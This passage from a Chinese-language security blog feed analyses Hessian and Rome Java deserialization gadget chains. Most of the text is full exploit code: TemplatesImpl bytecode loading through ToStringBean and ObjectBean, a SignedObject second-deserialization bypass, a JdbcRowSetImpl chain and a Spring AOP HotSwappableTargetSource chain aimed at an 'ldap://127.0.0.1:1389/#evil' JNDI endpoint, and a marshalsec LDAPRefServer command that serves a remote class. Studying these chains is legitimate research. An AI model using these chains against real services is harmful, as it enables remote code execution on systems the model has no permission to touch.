    public Object clone() throws CloneNotSupportedException {
        return this._cloneableBean.beanClone();
    }

    public boolean equals(Object other) {
        return this._equalsBean.beanEquals(other);
    }

    public int hashCode() {
        return this._equalsBean.beanHashCode();
    }

    public String toString() {
        return this._toStringBean.toString();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;public class EqualsBean implements Serializable {
    private static final Object[] NO_PARAMS = new Object[0];
    private Class _beanClass;
    private Object _obj;
    
    public EqualsBean(Class beanClass, Object obj) {
        if (!beanClass.isInstance(obj)) {
            throw new IllegalArgumentException(obj.getClass() + &quot; is not instance of &quot; + beanClass);
        } else {
            this._beanClass = beanClass;
            this._obj = obj;
        }
    }
    public int beanHashCode() {
    	return this._obj.toString().hashCode();
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此 hessian 反序列化 exp 如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Hessian_Test implements Serializable {

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        HashMap map = new HashMap();
        byte[] code = Files.readAllBytes(Paths.get(&quot;D:\\tools_D\\java\\java_learn\\cc_chain\\cc3_\\src\\main\\java\\templatesBytes.class&quot;));

        byte[][] evil = new byte[1][];
        evil[0] = code;

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,&quot;_name&quot;,&quot;evil&quot;);
        setFieldValue(templatesImpl,&quot;_tfactory&quot;,new TransformerFactoryImpl());
        setFieldValue(templatesImpl,&quot;_bytecodes&quot;,evil);
        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

        map.put(objectBean,&quot;22&quot;);
        byte[] bytes = serialize(map);
        System.out.println(bytes);
        deserialize(bytes);
    }
    public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }

    public static &amp;lt;T&amp;gt; T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static &amp;lt;T&amp;gt; byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;弹了计算器，但是报错如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1776068571409.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打断点发现这一步往下报错&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1776068813013.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现 _tfactory 被 transient 修饰，不可序列化，反序列化时取默认值&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1776068971371.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里 TemplatesImpl 的 readObject 方法，会对 _tfactory 赋值，因此可以打 二次反序列化&lt;/p&gt;
&lt;p&gt;使用 signedObject 类&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1776085063147.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;exp 如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;

public class Hessian_Test implements Serializable {

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, NoSuchAlgorithmException, SignatureException, InvalidKeyException {
        byte[] code = Files.readAllBytes(Paths.get(&quot;D:\\tools_D\\java\\java_learn\\cc_chain\\cc3_\\src\\main\\java\\templatesBytes.class&quot;));

        byte[][] evil = new byte[1][];
        evil[0] = code;

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,&quot;_name&quot;,&quot;evil&quot;);
        setFieldValue(templatesImpl,&quot;_tfactory&quot;,new TransformerFactoryImpl());
        setFieldValue(templatesImpl,&quot;_bytecodes&quot;,evil);

        ToStringBean toStringBean1 = new ToStringBean(Templates.class,templatesImpl);
        EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class,toStringBean1);
        HashMap map0 = new HashMap();
        ObjectBean objectBean1 = new ObjectBean(HashMap.class,map0);
        HashMap map1 = new HashMap();
        map1.put(objectBean1,&quot;22&quot;);
        setFieldValue(objectBean1,&quot;_equalsBean&quot;,equalsBean1);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance(&quot;DSA&quot;);
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject((Serializable) map1, kp.getPrivate(), Signature.getInstance(&quot;DSA&quot;));

        ToStringBean toStringBean2 = new ToStringBean(SignedObject.class,signedObject);
        EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class,toStringBean2);
        ObjectBean objectBean2 = new ObjectBean(HashMap.class,map0);
        HashMap map2 = new HashMap();
        map2.put(objectBean2, &quot;aaa&quot;);
        setFieldValue(objectBean2,&quot;_equalsBean&quot;,equalsBean2);



        byte[] bytes = serialize(map2);
//        System.out.println(bytes);
        deserialize(bytes);
    }
    public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }

    public static &amp;lt;T&amp;gt; T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static &amp;lt;T&amp;gt; byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调用栈如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1776155032043.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Rome + JdbcRowSetImpl 链&lt;/h5&gt;
&lt;p&gt;exp 如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.HashMap;

public class rome_jdbc {
    public static void main(String[] args) throws SQLException, NoSuchFieldException, IllegalAccessException, IOException {
        JdbcRowSetImpl jdbcRowSetImpl = new JdbcRowSetImpl();
        String url = &quot;ldap://127.0.0.1:1389/#evil&quot;;
        jdbcRowSetImpl.setDataSourceName(url);

        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSetImpl);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap map = new HashMap();
        ObjectBean objectBean = new ObjectBean(HashMap.class,map);
        map.put(objectBean,&quot;wsh&quot;);
        setFieldValue(objectBean,&quot;_equalsBean&quot;,equalsBean);
        byte[] bytes =  serialize(map);
        deserialize(bytes);
    }
    public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
    public static &amp;lt;T&amp;gt; T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }
    public static &amp;lt;T&amp;gt; byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调用栈如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1776156608302.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;hessian spring aop 链&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#evil 1388
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;hessian 反序列化还原对象时调用了 HashMap 的 put 方法，putval, 如果 当前 put 的 key 和已经在 map 内的 key hash一致，且 Key1 != key2 ,key2 不为 null ,则会调用 key2.equals()&lt;/p&gt;
&lt;p&gt;那后面就可以接 HotSwappableTargetSource 链子，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public boolean equals(Object other) {
    return (this == other || (other instanceof HotSwappableTargetSource &amp;amp;&amp;amp;
            this.target.equals(((HotSwappableTargetSource) other).target)));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即 key2.target.equals(key1.target)&lt;/p&gt;
&lt;p&gt;exp 如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class hsts_exp {
    public static void main(String[] args) throws Exception {
        HotSwappableTargetSource hsts1 = new HotSwappableTargetSource(1);
        HotSwappableTargetSource hsts2 = new HotSwappableTargetSource(2);

        Map map = new HashMap();
        map.put(hsts1,1);
        map.put(hsts2,2);

        String url = &quot;ldap://127.0.0.1:1388/#evil&quot;;
        SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
        simpleJndiBeanFactory.setShareableResources(url);

        DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor();
        setFieldValue_dir(defaultBeanFactoryPointcutAdvisor,&quot;adviceBeanName&quot;,url);
        setFieldValue_dir(defaultBeanFactoryPointcutAdvisor,&quot;beanFactory&quot;,simpleJndiBeanFactory);

        AsyncAnnotationAdvisor asyncAnnotationAdvisor = new AsyncAnnotationAdvisor();

        setFieldValue(hsts1,&quot;target&quot;,defaultBeanFactoryPointcutAdvisor);
        setFieldValue(hsts2,&quot;target&quot;,asyncAnnotationAdvisor);
        String bytes = Hessian_serialize(map);
        Hessian_unserialize(bytes);
    }
    public static String Hessian_serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
        SerializerFactory serializerFactory=new SerializerFactory(); //无需继承Serializable也可进行序列化和反序列化
        serializerFactory.setAllowNonSerializable(true);
        hessianOutput.setSerializerFactory(serializerFactory);
        hessianOutput.writeObject(object);
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }

    public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException {
        byte[] code= Base64.getDecoder().decode(obj);
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
        HessianInput hessianInput=new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
    }
    public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
    public static void setFieldValue_dir(Object obj, String fieldName, Object value) throws Exception {
        Field field = null;
        Class&amp;lt;?&amp;gt; clazz = obj.getClass();

        // 沿着继承链向上递归查找目标字段，直到 Object 类
        while (clazz != Object.class) {
            try {
                field = clazz.getDeclaredField(fieldName);
                break; // 找到目标字段，跳出循环
            } catch (NoSuchFieldException e) {
                // 当前类未声明该字段，指针上移至父类
                clazz = clazz.getSuperclass();
            }
        }

        if (field == null) {
            throw new NoSuchFieldException(&quot;Field &apos;&quot; + fieldName + &quot;&apos; not found in class hierarchy of &quot; + obj.getClass().getName());
        }

        field.setAccessible(true);
        field.set(obj, value);
    }


    public static &amp;lt;T&amp;gt; T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static &amp;lt;T&amp;gt; byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调用栈如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1776259742499.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Rome 反序列化</title><link>https://fuwari.vercel.app/posts/post14-rome/rome/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post14-rome/rome/</guid><description>rome反序列化</description><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h4&gt;Rome 反序列化&lt;/h4&gt;
&lt;p&gt;Rome 是一个基于 java 环境运行的开源内容处理框架，实现 RSS 与 Atom 协议规范下的各种版本摘要数据的解析，生成，发布。&lt;/p&gt;
&lt;p&gt;需要对各个版本解析，为了避免硬编码，通过 Introspector 类，在运行时动态获取目标对象的类签名，通过反射遍历调用其读写方法。（容易有通过 getter setter 方法触发的 gadget）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;com.sun.syndication.feed.impl.ToStringBean 存在以下两个 tostring 方法
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;public String toString() {
    Stack stack = (Stack)PREFIX_TL.get();
    String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
    String prefix;
    if (tsInfo == null) {
        String className = this._obj.getClass().getName();
        prefix = className.substring(className.lastIndexOf(&quot;.&quot;) + 1);
    } else {
        prefix = tsInfo[0];
        tsInfo[1] = prefix;
    }

    return this.toString(prefix);
}


private String toString(String prefix) {
    StringBuffer sb = new StringBuffer(128);

    try {
        PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
        // 跟进 BeanIntrospector.getPropertyDescriptors , 先去检查 _introspected 中是否存在该 class 的缓存数据，如果没有则调用 getPDs(klass)，并存入缓存，返回 descriptors

        // BeanIntrospector.getPropertyDescriptors(this._beanClass)
        public class BeanIntrospector {
            private static final Map _introspected = new HashMap();
            private static final String SETTER = &quot;set&quot;;
            private static final String GETTER = &quot;get&quot;;
            private static final String BOOLEAN_GETTER = &quot;is&quot;;

            public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException {
                PropertyDescriptor[] descriptors = (PropertyDescriptor[])_introspected.get(klass);
                if (descriptors == null) {
                    descriptors = getPDs(klass);
                    _introspected.put(klass, descriptors);
                }

                return descriptors;
            }
        }
        // BeanIntrospector.getPropertyDescriptors(this._beanClass)

        // 跟进 getPDs(klass)
        private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {
            Method[] methods = klass.getMethods();
            Map getters = getPDs(methods, false);
            Map setters = getPDs(methods, true);
            List pds = merge(getters, setters);
            PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];
            pds.toArray(array);
            return array;
        }
        // getPDs(klass)

        // getPDs(methods, false) 获取 getter 无参方法， setter 一个参数的方法， is 无参方法，并存入 map 中返回。
        private static Map getPDs(Method[] methods, boolean setters) throws IntrospectionException {
            Map pds = new HashMap();

            for(int i = 0; i &amp;lt; methods.length; ++i) {
                String pName = null;
                PropertyDescriptor pDescriptor = null;
                if ((methods[i].getModifiers() &amp;amp; 1) != 0) {
                    if (setters) {
                        if (methods[i].getName().startsWith(&quot;set&quot;) &amp;amp;&amp;amp; methods[i].getReturnType() == Void.TYPE &amp;amp;&amp;amp; methods[i].getParameterTypes().length == 1) {
                            pName = Introspector.decapitalize(methods[i].getName().substring(3));
                            pDescriptor = new PropertyDescriptor(pName, (Method)null, methods[i]);
                        }
                    } else if (methods[i].getName().startsWith(&quot;get&quot;) &amp;amp;&amp;amp; methods[i].getReturnType() != Void.TYPE &amp;amp;&amp;amp; methods[i].getParameterTypes().length == 0) {
                        pName = Introspector.decapitalize(methods[i].getName().substring(3));
                        pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);
                    } else if (methods[i].getName().startsWith(&quot;is&quot;) &amp;amp;&amp;amp; methods[i].getReturnType() == Boolean.TYPE &amp;amp;&amp;amp; methods[i].getParameterTypes().length == 0) {
                        pName = Introspector.decapitalize(methods[i].getName().substring(2));
                        pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);
                    }
                }

                if (pName != null) {
                    pds.put(pName, pDescriptor);
                }
            }

            return pds;
        }
        // getPDs(methods, false)


        if (pds != null) {
            for(int i = 0; i &amp;lt; pds.length; ++i) {
                String pName = pds[i].getName();
                Method pReadMethod = pds[i].getReadMethod();
                if (pReadMethod != null &amp;amp;&amp;amp; pReadMethod.getDeclaringClass() != Object.class &amp;amp;&amp;amp; pReadMethod.getParameterTypes().length == 0) {
                    Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                    // for 循环遍历 pname pReadMethod(getter) 然后调用该 getter 方法，需要无参数，然后调用 this._obj 的 getter 方法，这里可以接 TemplateImpl 类的 getOutputProperties()方法
                    this.printProperty(sb, prefix + &quot;.&quot; + pName, value);
                }
            }
        }
    } catch (Exception ex) {
        sb.append(&quot;\n\nEXCEPTION: Could not complete &quot; + this._obj.getClass() + &quot;.toString(): &quot; + ex.getMessage() + &quot;\n&quot;);
    }

    return sb.toString();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;public class ObjectBean implements Serializable, Cloneable {
    private EqualsBean _equalsBean;
    private ToStringBean _toStringBean;
    private CloneableBean _cloneableBean;

    public ObjectBean(Class beanClass, Object obj) {
        this(beanClass, obj, (Set)null);
    }

    public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
        this._equalsBean = new EqualsBean(beanClass, obj);
        this._toStringBean = new ToStringBean(beanClass, obj);
        this._cloneableBean = new CloneableBean(obj, ignoreProperties);
    }

    public Object clone() throws CloneNotSupportedException {
        return this._cloneableBean.beanClone();
    }

    public boolean equals(Object other) {
        return this._equalsBean.beanEquals(other);
    }

    public int hashCode() {
        return this._equalsBean.beanHashCode();
    }

    public String toString() {
        return this._toStringBean.toString();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;exp 如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;

import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test1 {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException {

        byte[] code = Files.readAllBytes(Paths.get(&quot;D:\\tools_D\\java\\java_learn\\cc_chain\\cc3_\\src\\main\\java\\templatesBytes.class&quot;));

        byte[][] evil = new byte[1][];
        evil[0] = code;

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,&quot;_name&quot;,&quot;evil&quot;);
        setFieldValue(templatesImpl,&quot;_tfactory&quot;,new TransformerFactoryImpl());
        setFieldValue(templatesImpl,&quot;_bytecodes&quot;,evil);
        // 这里选择 Templates.class 而不是 TemplatesImpl.class 的原因是，Templates.class 仅有一个 getter 方法，getOutputProperties()
        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl);
        toStringBean.toString();


    }

    public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// EqualsBean 类
public int hashCode() {
    return this.beanHashCode();
}

public int beanHashCode() {
    return this._obj.toString().hashCode();
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;HashMap 对象反序列化时调用 key 的 hashCode() 方法触发&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;HashMap hashMap = new HashMap();
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

hashMap.put(equalsBean,1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;HashTable 集合反序列化时调用 key 的 hashCode() 方法触发&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;Hashtable hashtable = new Hashtable&amp;lt;&amp;gt;();
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

hashtable.put(equalsBean,1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;BadAttributeValueExpException 类触发 tostring 方法&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get(&quot;val&quot;, null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + &quot;@&quot; + valObj.getClass().getName();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;public class test1 {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        byte[] code = Files.readAllBytes(Paths.get(&quot;D:\\tools_D\\java\\java_learn\\cc_chain\\cc3_\\src\\main\\java\\templatesBytes.class&quot;));

        byte[][] evil = new byte[1][];
        evil[0] = code;

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,&quot;_name&quot;,&quot;evil&quot;);
        setFieldValue(templatesImpl,&quot;_tfactory&quot;,new TransformerFactoryImpl());
        setFieldValue(templatesImpl,&quot;_bytecodes&quot;,evil);
        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);
        setFieldValue(badAttributeValueExpException,&quot;val&quot;,toStringBean);
        byte[] bytes = serialize(badAttributeValueExpException);
        unserialize(bytes);

    }

    public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }

    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }

    private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        return ois.readObject();
    }
}


&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;HotSwappable TargetSource 链&lt;/h5&gt;
&lt;p&gt;添加依赖&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;spring-aop&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;5.2.7.RELEASE&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;XString 类的 equals 方法可以触发 toString()&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public boolean equals(Object obj2) {
    if (null == obj2)
        return false;
    else if (obj2 instanceof XNodeSet)
        return obj2.equals(this);
    else if(obj2 instanceof XNumber)
        return obj2.equals(this);
    else
        return str().equals(obj2.toString());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;​	这里的 toString 拼接前面 rome 的链子。&lt;/p&gt;
&lt;p&gt;​	HashMap 反序列化重建哈希表时会触发 key 的 putvals 方法，而 putvals 方法中会调用 key 的 equals 方法
​	这里对 HashMap 的 putvals 方法进行分析，HashMap 中的两个对象需要 hashcode 相同，并且存储地址不同，且 Key 不为 Null&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;final V putVal(int hash, K key, V value, boolean onlyIfAbsent,boolean evict) {
    Node&amp;lt;K,V&amp;gt;[] tab; Node&amp;lt;K,V&amp;gt; p; int n, i;
    if ((tab = table) == null || (n = tab.length) == 0)
        n = (tab = resize()).length;
    if ((p = tab[i = (n - 1) &amp;amp; hash]) == null)
        tab[i] = newNode(hash, key, value, null);
    else {
        
        
        Node&amp;lt;K,V&amp;gt; e; K k;
        if (p.hash == hash &amp;amp;&amp;amp; ((k = p.key) == key || (key != null &amp;amp;&amp;amp; key.equals(k))))
            
            
            e = p;
        else if (p instanceof TreeNode)
            e = ((TreeNode&amp;lt;K,V&amp;gt;)p).putTreeVal(this, tab, hash, key, value);
        else {
            for (int binCount = 0; ; ++binCount) {
                if ((e = p.next) == null) {
                    p.next = newNode(hash, key, value, null);
                    if (binCount &amp;gt;= TREEIFY_THRESHOLD - 1) // -1 for 1st
                        treeifyBin(tab, hash);
                    break;
                }
                if (e.hash == hash &amp;amp;&amp;amp;
                    ((k = e.key) == key || (key != null &amp;amp;&amp;amp; key.equals(k))))
                    break;
                p = e;
            }
        }
        if (e != null) { // existing mapping for key
            V oldValue = e.value;
            if (!onlyIfAbsent || oldValue == null)
                e.value = value;
            afterNodeAccess(e);
            return oldValue;
        }
    }
    ++modCount;
    if (++size &amp;gt; threshold)
        resize();
    afterNodeInsertion(evict);
    return null;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是 toStringBean 和 XString 的 hashcode 很难相同，  为此，找到org.springframework.aop.target.HotSwappableTargetSource 该类，因为该类的 hashCode() 方法是对 class 进行 hashCode 计算。同一个类加载器的生命周期内，一个确定的类只有一个 Class 对象&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public boolean equals(Object other) {
    return this == other || other instanceof HotSwappableTargetSource &amp;amp;&amp;amp; this.target.equals(((HotSwappableTargetSource)other).target);
}

public int hashCode() {
    return HotSwappableTargetSource.class.hashCode();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1775538408244-17755384140241.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以通过 hsts 通过 hash 对比，进入 equals 方法，提取第一个也就是 other 的 target 对象，调用第二个 key 的 equals(target)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;XString xString = new XString(&quot;wsh&quot;);
Map map_ = new HashMap();
map_.put(1,1)
    
HotSwappableTargetSource hsts1 = new HotSwappableTargetSource(map_);
HotSwappableTargetSource hsts2 = new HotSwappableTargetSource(xString);

Map map = new HashMap();
map.put(hsts1,hsts1);
map.put(hsts2,hsts2);
setFieldValue(hsts1,&quot;target&quot;,toStringBean)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样第二个 key 与第一个 key 对比时会调前面的 target ，toStringBean 作为第二个 target (XString) 的 equals() 方法的参数 obj2&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public boolean equals(Object other) {
    return this == other || other instanceof HotSwappableTargetSource &amp;amp;&amp;amp; this.target.equals(((HotSwappableTargetSource)other).target);
}
&lt;/code&gt;&lt;/pre&gt;
